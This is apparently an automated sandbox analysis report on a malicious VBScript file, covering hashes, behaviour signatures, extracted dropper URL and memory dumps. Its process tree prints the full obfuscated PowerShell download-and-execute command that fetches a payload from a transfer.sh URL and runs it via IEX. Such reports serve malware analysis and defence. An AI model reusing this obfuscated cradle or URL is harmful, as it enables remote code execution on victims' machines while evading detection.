Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    11/03/2024, 04:03

General

  • Target

    bfcc207a11b00be050cd343c29610cdf.vbs

  • Size

    731B

  • MD5

    bfcc207a11b00be050cd343c29610cdf

  • SHA1

    0842a47f067121ff811ee7dd00bc167906738909

  • SHA256

    8065cd13f47664398c8c02165ca41f9c7f8f823e018f2773e947d63c8ba4bc2b

  • SHA512

    03b25ea72b73c10b3c140e25585d753a32baaf3325b96158612aab0fd7260e6df878d77f2553ba4b73be930a1c2badad0bc31a76ff9453ea346e223035a78a41

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://transfer.sh/1fWuoMe/bypass.txt

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\bfcc207a11b00be050cd343c29610cdf.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1968
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $TRUMP = 'https://transfer.sh/1fWuoMe/bypass.txt';$B = 'ETH COINt.WTF COINlIOSNT'.Replace('ETH COIN','nE').Replace('TF COIN','EbC').Replace('OS','e');$CC = 'DOS COIN LSOSCOINnG'.Replace('S COIN ','Wn').Replace('SO','oaD').Replace('COIN','TrI');$A ='I`Eos COIN`W`BTC COINj`ETH COIN $B).$CC($TRUMP)'.Replace('os COIN','X(n`e').Replace('BTC COIN','-Ob').Replace('TH COIN','`c`T');&('I'+'EX')($A -Join '')|&('I'+'EX');
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2500

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • memory/2500-4-0x000000001B6B0000-0x000000001B992000-memory.dmp

          Filesize

          2.9MB

        • memory/2500-5-0x0000000001FC0000-0x0000000001FC8000-memory.dmp

          Filesize

          32KB

        • memory/2500-6-0x000007FEF53B0000-0x000007FEF5D4D000-memory.dmp

          Filesize

          9.6MB

        • memory/2500-7-0x0000000002B50000-0x0000000002BD0000-memory.dmp

          Filesize

          512KB

        • memory/2500-9-0x000007FEF53B0000-0x000007FEF5D4D000-memory.dmp

          Filesize

          9.6MB

        • memory/2500-10-0x0000000002B5B000-0x0000000002BC2000-memory.dmp

          Filesize

          412KB

        • memory/2500-8-0x0000000002B54000-0x0000000002B57000-memory.dmp

          Filesize

          12KB

        • memory/2500-11-0x000007FEF53B0000-0x000007FEF5D4D000-memory.dmp

          Filesize

          9.6MB